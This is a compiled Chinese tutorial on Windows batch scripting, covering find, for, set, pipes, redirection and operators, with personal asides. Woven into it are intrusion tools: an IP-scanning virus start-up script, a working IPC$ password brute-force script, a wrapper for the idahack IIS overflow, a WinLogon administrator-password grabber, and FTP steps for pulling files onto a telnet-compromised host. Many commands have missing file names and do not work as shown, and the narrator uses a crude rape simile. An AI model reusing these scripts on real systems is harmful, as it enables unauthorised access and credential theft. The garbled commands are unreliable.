先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到中。然后使用type命令列出中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出中的内容，而是直接使用find命令在中找“7626”（find "7626" && echo "Congratulations! You have infected GLACIER!"），就必须得给出这个的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。
至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。
10、for、set、shift
为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：
@echo off
for /? >
set /? >
shift /? >
exit
执行后在当前路径下就生成、和三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都
不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：
：
CALL
SET IPA=192.168
CALL 0
:NEARAGAIN
netstat -n|find ":" >
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN () DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL
:START
CALL
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START >
PING %IPA%.%NUM3%.1>
PING %IPA%.%NUM3%.%NUM4%>>
FIND /C /I "from"
IF ERRORLEVEL 1 GOTO START
CALL %NUM3%
DEL
GOTO START
这是病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。
没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。
不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完
美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。
不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。
可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。
但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个“振奋人心”的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。
“课间休息”时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天
去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。
下面从管道命令讲起。常用的管道命令有以下这些：|、>、>>
11、|
这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：
help | more
回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。
为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。
11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。
11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（）在DOS提示符下输入如下两个命令去比较一下差别：more 和type 。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：
help >
more
del
这里利用另一管道命令>生成了一个文件作为中间环节，在用more命令查看文件后再删除文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。
结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一
命令的输入。
12、>、>>
这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，>会清除掉原有文件中的内容后把新的内容写入原文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：
echo @echo off >
echo echo This is a pipeline command example. >>
echo echo It is very easy? >>
echo echo Believe your self! >>
echo pause >>
echo exit >>
依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个文件，里面的内容如下：
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作，最后也会生成一个，但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。
13、<、>&、<&
这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。
<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。
>&，将一个句柄的输出写入到另一个句柄的输入中。
<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。
关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。
下面介绍组合命令：&、&&、||
组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。
刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会
陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？
忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！
14、&
这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：
copy /y & del
其实这句和move 的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&两边的命令是有执行顺序的，从前往后执行。
15、&&
切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：
dir 文件://1%/www/ && copy 文件://1%/www/ e:backupwww
如果远程主机存在，则copy到本地e:backupwww，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：
if exist 文件://1%/www/ copy 文件://1%/www/ e:backupwww
至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。
你是否还记得“有些命令是不能同时执行的”？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到文件中。你将如何来
能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：“简明批处理教程”，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? > & start 完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！
将下列代码存为bat文件
1、如果用字典破解： 字典文件路径及名称 主机 用户名
2、如果用数字破解： 起始数 步长 结束数 主机 用户名
密码破解出来之后，存放于c:文件里面。
将下列代码存为文件
@echo off
echo ------------------------------------------------------------------- >>c:
echo ------------------------------------------------------------------- >>c:
date /t >>c:
time /t >>c:
echo 破解结果： >>c:
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call %4 "%%i" %5
:quit
将下列代码存为
net use %1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2
:answer0
echo 远程主机："%1" >>c:
echo 用 户："%3" >>c:
echo 密 码：%2 >>c:
net use %1ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令，请使用以下语法：
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for，请使用以下语法：
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
代表可替换的参数。for 命令使用在 set
中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。
如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展，将支持如下 for 命令的其他格式：
只限于目录
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。
递归
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。
迭代
for /L [%% | %]variable in (start，step，end) do command [command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
BAT文件技巧
文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1
6. 附件2
######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >
ver >>
echo cmd /? >>
cmd /? >>
echo rem /? >>
rem /? >>
echo if /? >>
if /? >>
echo goto /? >>
goto /? >>
echo for /? >>
for /? >>
echo shift /? >>
shift /? >>
echo call /? >>
call /? >>
echo type /? >>
type /? >>
echo find /? >>
find /? >>
echo findstr /? >>
findstr /? >>
echo copy /? >>
copy /? >>
type
______________________________________________________
###################################################################
###
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
语法: copy %windir%system32.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:>dir p*
C: 的目录
2000-09-02 11:47 2,164
1999-01-03 00:47
Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
C:>cd pro*
C:Program Files>
C:>
C:>cd "Program Files"
C:Program Files>
######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < > nwtrade.t
xt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage：第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令，而不管命令是否执行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；
常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in () do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
######################################################################
4. 简单批处理文件概念
######################################################################
echo This is test >
type
echo This is test 11111 >>
type
echo This is test 22222 >
type
第二个echo是追加
第三个echo将清空 重新创建
netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.
___________________________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir% (echo Find !!!) else (echo ERROR: Not find )
@if exist %windir% (echo Find !!!) else (echo ERROR: Not find )
___________________________________________________________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
____________________________________________________________________
@rem ver 1.0
@if NOT exist %windir% echo "ERROR: dont find "
@if NOT exist %windir% echo "ERROR: dont find "
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
%1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] "
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 %1 99
@goto END
:SP2
@ %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 %1 99
@goto END
:USAGE
@echo Example: IP
@echo Example: IP (2,3)
:END
_______________________END_________________________________
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
_______________________________________________________________________
@rem ver 1.0
@if NOT exist %windir% echo "ERROR: dont find "
@if NOT exist %windir% echo "ERROR: dont find "
@
@echo ____________________________________
@if "%1"=="" goto USAGE
@ %1 %2 %3 >> %temp%_
@echo "prog exit code [%errorlevel%] "
@type %temp%_
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_
@goto END
:USAGE
@ >%temp%_
@ /i "WINLOGON explorer internat" %temp%_
@echo "Example: %1 %2 %3 %4 !!!"
@echo "Usage: DomainName UserName PID-of-WinLogon"
:END
@echo " %COMPUTERNAME% %USERNAME% administrator "
@echo " end [%errorlevel%] !"
____________________END________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
echo open 4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get >>w
echo get >>w
echo get >>w
echo quit >>w
ftp -s:w
bat批处理教程（2）
bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件
从更广义的角度来看，unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本，都具有与批处理文件十分相似的作用，而且同样是由专用解释器以行为单位解释执行，这种文本形式更通用的
称谓是脚本语言。所以从某个程度分析，batch, unix shell, awk, basic, perl 等脚本语言都是一样的，只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼，而其内容和扩展名与dos的批处理却又完全不同。
===================================
首先批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
==== 注 ===================
批处理文件中完全可以使用非dos命令，甚至可以使用不具有可执行特性的普通数据性文件，这缘于windows系统这个新型解释平台的涉入，使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中，否则很多观念和设定都需要做比较大的变动。
========================
其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。
==== 注 ==================
批处理文件(batch file)也可以称之为批处理程序(batch program)，这一点与编译型语言有所不同，就c语言来说，扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码，但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性，又具有程序的可执行性，这些称谓的界限是比较模糊的。
===========================
第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:batch，你就可以在任意位置运行所有你编写的批处理程序。
==== 注 =====
纯以dos系统而言，可执行程序大约可以细分为五类，依照执行优先级由高到低排列分别是：DOSKEY宏命令（预先驻留内存），中的内部命令（根据内存的环境随时进驻内存），以com为扩展名的可执行程序（由 直接载入内存），以exe位扩展名的可执行程序（由 重定位后载入内存），以bat位扩展名的批处理程序（由
解释分析，根据其内容按优先级顺序调用第2，3，4，5种可执行程序，分析一行，执行一行，文件本身不载入内存）
============
第四，在DOS和Win9x/Me系统下，C:盘根目录下的批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的的示例：
@ECHO OFF
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;
C:SYSTOOLS;C:WINTOOLS;C:BATCH
LH /X
LH /insert
LH
SET TEMP=D:TEMP
SET TMP=D:TEMP
==== 注 =====
为DOS系统的自动运行批处理文件，由启动时解释执行；
而在Win9x环境中，不仅增加支持了 , 等许多其它自动运行的批处理文件，对 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。
==== willsort 编注 =============
以下关于命令的分类，有很多值得推敲的地方。常用命令中的@本不是命令，而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。
以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字，当然，其中有些概念和定义已经有些落后了。
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。
==========
常用命令
echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。
==== 注 ===========
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* ? 文件通配符
"" 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意
:
第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 文件中.
=====================
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。
call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key 的提示，等待用户按任意键后继续
rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。
==== 注 =====
此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理
-------------------------
ECHO
当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。
使用ECHO命令可关闭此功能。
语法
ECHO [ON|OFF]
若要用echo命令显示一条命令，可用下述语法：
echo [message]
参数
ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO
命令。
message
